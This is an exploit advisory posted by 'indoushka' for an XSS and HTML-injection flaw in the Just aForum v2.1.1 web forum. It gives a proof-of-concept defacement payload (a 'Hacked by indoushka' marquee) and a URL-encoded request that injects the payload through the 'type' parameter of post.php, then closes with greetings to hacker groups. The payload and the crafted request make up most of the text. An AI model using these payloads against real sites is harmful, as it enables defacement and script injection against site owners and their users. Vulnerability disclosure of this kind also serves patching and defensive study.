| # Title    : Just aForum v2.1.1 XSS Vulnerability
| # Author   : indoushka
| # email    : indoushka4ever@gmail.com                                                                                                                                                                                                                                                               
| # Tested on: windows 8.1 Français V.(Pro)        
| # Download : http://www.dl.persianscript.ir/script/Just_a_Forum_v2.1.1(PersianScript.ir).rar
=======================================

Poc :

Put in the search box xss payload ( XSS / HTML Inject :

<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>

http://127.0.0.1//forum/post.php?type=question%22%20%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E%22

Greetz : 
jericho  http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/
Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net
---------------------------------------------------------------------------------------------------------------